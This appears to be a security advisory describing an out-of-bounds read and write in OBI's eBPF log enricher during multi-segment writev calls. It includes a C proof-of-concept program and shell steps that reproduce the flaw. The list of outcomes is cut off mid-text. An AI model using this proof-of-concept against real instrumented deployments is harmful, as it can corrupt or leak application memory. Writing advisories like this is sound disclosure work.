OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total iov_iter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment.
In bpf/logenricher/logenricher.c#L50, __fill_iov resolves only one struct iovec, specifically iov_ctx.iov[0] for ITER_IOVEC. The returned iov therefore describes only the first write segment.
However, __write later uses const size_t count = BPF_CORE_READ(from, count);, which is the total byte count across all segments in the iterator. That total is stored in e->len and used in bpf_probe_read_user(e->log, e->len, iov.iov_base) and bpf_probe_write_user(iov.iov_base, zero, to_write).
If count exceeds iov.iov_len, OBI reads and then zeroes memory past the end of the first segment. In practice, this can corrupt adjacent application buffers, leak memory into log events, and in some layouts destabilize the instrumented process.
Local testing with a minimal ASan harness reproduced the same out-of-bounds read/write condition as the vulnerable writev path.
Use a vulnerable build with the log enricher enabled.
git checkout v0.7.0
make build
Create a program that performs a two-element writev, where the first buffer is short and the second is large:
// save as /tmp/writev-poc.c
#define _GNU_SOURCE
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>
int main(void) {
char a[8] = "HELLO\n";
char b[256];
memset(b, 'B', sizeof(b));
struct iovec iov[2];
iov[0].iov_base = a;
iov[0].iov_len = sizeof(a);
iov[1].iov_base = b;
iov[1].iov_len = sizeof(b);
for (;;) {
writev(1, iov, 2);
usleep(10000);
}
}
Compile and run it:
cc -O2 -o /tmp/writev-poc /tmp/writev-poc.c
/tmp/writev-poc >/dev/null
Attach OBI with log enrichment enabled to the running process:
PID=$(pgrep -f /tmp/writev-poc)
sudo ./bin/obi --pid "$PID"
On a vulnerable build, OBI copies iov_iter.count bytes starting from iov[0].iov_base, even though iov[0] is only 8 bytes long. Depending on allocator layout, you will see one of the following:
HELLO\nThe issue is easiest to observe under a debugger or with ASan-enabled builds of the target program, but those are not required.
This is a memory safety flaw in the log-enrichment eBPF path. It affects deployments that enable log injection and instrument applications that write logs through writev. An attacker who can trigger the vulnerable local writev pattern inside the instrumented process can cause memory corruption or disclosure in that process. The most direct effects are corrupted output and adjacent-memory disclosure, with process instability possible if the overwrite lands on sensitive state.
{
"github_reviewed": true,
"severity": "MODERATE",
"nvd_published_at": null,
"cwe_ids": [
"CWE-126",
"CWE-787"
],
"github_reviewed_at": "2026-05-18T20:17:57Z"
}